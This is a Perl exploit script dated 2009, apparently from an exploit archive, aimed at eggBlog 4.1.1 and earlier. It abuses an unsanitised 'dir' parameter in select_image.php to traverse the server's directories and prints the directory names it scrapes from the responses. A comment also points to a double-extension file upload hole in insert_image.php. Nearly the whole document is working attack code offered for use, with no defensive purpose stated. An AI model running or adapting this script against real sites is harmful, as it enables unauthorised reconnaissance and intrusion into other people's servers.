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eggblog-traversal.txt

Posted on 11 May 2009

#!/usr/bin/perl
#
# eggBlog <= 4.1.1 Local Directory Transversal Exploit
#
# by Juri Gianni aka yeat - staker[at]hotmail[dot]it
# Visit http://zeroidentity.org
#
# Description
# ----------------------------------------------------
# eggBlog contains one flaw that allows an attacker to
# carry out a local directory transversal attack.
# The issue is due to 'select_image.php' script not
# properly sanitizing user input supplied to the 'dir'
# GET variable.
# -----------------------------------------------------
# Note: you may upload image files with double ext on
# _lib/openwysiwyg/addons/imagelibrary/insert_image.php
# -----------------------------------------------------

use LWP::UserAgent;


my $domain = $ARGV[0];
my $folder = $ARGV[1] || &usage;

exploit($folder);


sub usage()
{
print "eggBlog <= 4.1.1 Local Directory Transversal Exploit
";
print "Usage: perl xpl.pl localhost/eggBlog ../../
";
print "Visit http://zeroidentity.org
";
exit;
}


sub exploit()
{
my $param = shift @_ || die "1 parameter required
";

my $response = undef;
my @director = undef;

my $lib = new LWP::UserAgent;

$lib->agent('Lynx (textmode)');
$lib->timeout(5);

$response = $lib->get("http://$domain/_lib/openwysiwyg/addons/imagelibrary/select_image.php?dir=$param");

@director = $response->content =~ /<strong>(.+?)</strong>/ig;

for (my $i=0;$i<=scalar(@director);$i++) {
print $director[$i]."
";
}
}

 

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